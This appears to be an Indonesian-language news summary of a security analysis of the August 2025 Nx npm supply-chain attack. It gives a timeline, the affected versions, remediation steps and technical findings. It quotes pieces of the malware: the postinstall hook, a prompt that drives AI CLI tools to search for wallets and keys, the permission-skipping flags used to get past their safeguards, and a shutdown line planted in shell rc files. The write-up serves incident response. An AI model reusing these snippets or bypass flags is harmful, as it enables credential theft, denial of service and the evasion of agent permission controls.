5 poin oleh GN⁺ 2025-08-28 | Belum ada komentar. | Bagikan ke WhatsApp
  • Beberapa versi sistem build Nx terinfeksi malware pada 26 Agustus 2025 selama sekitar 5 jam, mencuri wallet kripto dan kredensial para developer
  • Serangan ini menyalahgunakan alat AI CLI (Claude, Gemini, q) untuk menjelajahi file sensitif di dalam sistem, dan tercatat sebagai teknik baru dalam serangan supply chain
  • Malware berjalan melalui hook post-install yang mengeksekusi telemetry.js, lalu mengunggah data ke repositori GitHub s1ngularity-repository
  • npm menghapus versi yang disusupi dan memperkuat keamanan lebih lanjut dengan menerapkan 2FA serta mekanisme Trusted Publisher
  • Insiden ini menunjukkan evolusi kecanggihan serangan supply chain dan menekankan perlunya respons cepat serta pemeriksaan keamanan di komunitas developer

Ringkasan utama

  • Mulai 2025-08-26 22:32 UTC, selama sekitar 5 jam, paket sistem build Nx disusupi malware pencuri data
    • Sebagai paket populer dengan 4 juta unduhan per minggu, ribuan developer berisiko terpapar
  • Selain mencuri SSH key, token npm, dan .gitconfig, malware juga menggunakan alat AI CLI (Claude, Gemini, q) untuk melakukan pengintaian dan pencurian data
    • Ini adalah kasus serangan supply chain pertama yang diketahui memanfaatkan alat AI untuk developer
  • Tim maintainer Nx merilis advisory keamanan resmi (GHSA-cxm3-wv7p-598c), dan mengonfirmasi akun npm maintainer telah dibobol akibat kebocoran token
  • StepSecurity akan mengadakan community office hour pada 28 Agustus pukul 09:30 PST untuk membantu pemulihan

Linimasa insiden

  • 2025-08-26 22:32 UTC: versi berbahaya 21.5.0 dipublikasikan ke registry npm
  • 22:39 UTC: versi yang disusupi 20.9.0 dipublikasikan
  • 23:54 UTC: versi 20.10.0 dan 21.6.0 dipublikasikan bersamaan
  • 2025-08-27 00:16 UTC: versi 20.11.0 dipublikasikan
  • 00:17 UTC: versi 21.7.0 dipublikasikan
  • 00:30 UTC: anggota komunitas melaporkan aktivitas mencurigakan melalui issue GitHub
  • 00:37 UTC: versi terakhir yang disusupi, 21.8.0 dan 20.12.0, dipublikasikan
  • 02:44 UTC: npm menghapus semua versi yang disusupi
  • 03:52 UTC: pemilik organisasi Nx mencabut akses akun yang dibobol
  • 09:05 UTC: GitHub menjadikan repositori berisi secret yang dicuri menjadi privat dan menghapusnya dari hasil pencarian
  • 10:20 UTC: npm menghapus paket tambahan yang disusupi
  • 15:57 UTC: npm mewajibkan 2FA untuk paket Nx, menonaktifkan publishing berbasis token, dan menerapkan mekanisme Trusted Publisher

Analisis teknis

Vektor serangan

  • Paket Nx mengeksekusi telemetry.js melalui hook post-install, sehingga malware aktif segera setelah instalasi
    • Contoh package JSON:
      {  
        "name": "nx",  
        "version": "21.5.0",  
        "scripts": {  
          "postinstall": "node telemetry.js"  
        }  
      }  
      
  • Versi yang disusupi dipublikasikan langsung ke npm tanpa provenance attestation

Payload telemetry.js

  • telemetry.js berjalan pada sistem non-Windows (Linux/macOS):
    if (process.platform === 'win32') process.exit(0);  
    
  • Aktivitas berbahaya utama:
    • Mengumpulkan informasi sistem: environment variable (process.env), hostname, detail OS
    • Mencari wallet kripto: MetaMask, Electrum, Ledger, Trezor, Exodus, Phantom, Solflare, dan lainnya
    • Mencuri kredensial developer: token GitHub, token npm (.npmrc), SSH key (id_rsa), file .env

Penyalahgunaan AI CLI

  • Malware menyalahgunakan alat CLI Claude, Gemini, dan q untuk melewati batas keamanan
    • Menggunakan flag berisiko (--dangerously-skip-permissions, --yolo, --trust-all-tools) untuk memaksa pemindaian file system
    • Prompt:
      const PROMPT = 'Recursively search local paths ...   
      (UTC--, keystore, wallet, *.key, *.keyfile, .env, metamask, electrum,   
      ledger, trezor, exodus, trust, phantom, solflare, keystore.json,   
      secrets.json, .secret, id_rsa, Local Storage, IndexedDB) ...';  
      
  • Path file yang ditemukan disimpan ke /tmp/inventory.txt, dan file yang sudah ada dibackup sebagai .bak
  • Penyalahgunaan alat AI meminimalkan kode yang bisa dideteksi melalui fingerprint, sehingga lolos dari deteksi alat keamanan yang ada

Mekanisme eksfiltrasi data

  • Data yang dicuri diunggah ke file results.b64 di repositori s1ngularity-repository setelah encoding base64 tiga lapis
    • Repositori dibuat publik menggunakan token GitHub
    • Contoh:
      cat results.b64 | base64 -d | base64 -d | grep ghToken  
      "ghToken": "ghp_7BWMpOAHSSq..."  
      
  • Ribuan repositori publik sudah dibuat: https://github.com/search/…

Persistensi dan gangguan

  • Menambahkan sudo shutdown -h 0 ke ~/.bashrc dan ~/.zshrc, memicu shutdown sistem saat sesi terminal baru dibuka
    • Menyebabkan kondisi denial of service
    • Kode:
      const line = 'sudo shutdown -h 0';  
      fs.appendFileSync(p, prefix + line + '\n', { encoding: 'utf8' });  
      

Analisis runtime dengan Harden-Runner

  • Harden-Runner dari StepSecurity mendeteksi perilaku anomali pada nx@21.7.0 di workflow GitHub Actions
    • Panggilan API tidak normal: panggilan tidak sah ke api.github.com selama instalasi
    • Analisis pohon proses: npm install (PID: 2596) menjalankan telemetry.js (PID: 2610), lalu memanggil gh auth token
  • Tautan analisis: https://app.stepsecurity.io/github/actions-security-demo/…

Versi paket yang disusupi

  • @nx: 20.9.0, 20.10.0, 20.11.0, 20.12.0, 21.5.0, 21.6.0, 21.7.0, 21.8.0
  • @nx/devkit: 20.9.0, 21.5.0
  • @nx/enterprise-cloud: 3.2.0
  • @nx/eslint: 21.5.0
  • @nx/js: 20.9.0, 21.5.0
  • @nx/key: 3.2.0
  • @nx/node: 20.9.0, 21.5.0
  • @nx/workspace: 20.9.0, 21.5.0

Tindakan penanganan

Periksa versi paket

  • Gunakan npm ls @nrwl/nx atau npm ls nx untuk memeriksa versi yang terpasang
  • Periksa paket terkait Nx di package-lock.json
  • Query pencarian GitHub: https://github.com/search/…

Audit akun GitHub

Periksa alat AI CLI

  • Tinjau riwayat perintah Claude, Gemini, dan q untuk mencari flag berisiko

Langkah pemulihan

  • Hapus node_modules: rm -rf node_modules
  • Bersihkan cache npm: npm cache clean --force
  • Hapus perintah shell berbahaya: hapus sudo shutdown -h 0 dari ~/.bashrc dan ~/.zshrc
  • Hapus /tmp/inventory.txt dan /tmp/inventory.txt.bak
  • Perbarui package-lock.json ke versi aman, lalu instal ulang dependency
  • Pertimbangkan instal ulang seluruh sistem

Rotasi kredensial

  • Segera rotasi: GitHub PAT, token npm, SSH key, API key di .env, serta API key Claude/Gemini/q
  • Jika wallet kripto terpapar, segera pindahkan dana

Masalah ekstensi Nx Console

Tindakan untuk pelanggan enterprise StepSecurity

Implikasi yang lebih luas

  • Persenjataan alat AI: menyalahgunakan alat AI CLI lokal untuk melewati batas keamanan
  • Eksfiltrasi multi-tahap: menggabungkan pengumpulan data lokal dan eksfiltrasi berbasis cloud
  • Menargetkan aset bernilai tinggi: fokus pada kredensial developer dan wallet kripto

Kesimpulan

  • Disusupinya paket Nx menunjukkan evolusi canggih dari serangan supply chain, dengan dampak yang diperbesar lewat penyalahgunaan alat AI dan penargetan aset kripto
  • Developer perlu merespons dengan audit dependency, penguatan kontrol keamanan, dan pemantauan berkelanjutan
  • StepSecurity akan terus memberikan pembaruan lewat blognya

Referensi

Belum ada komentar.

Belum ada komentar.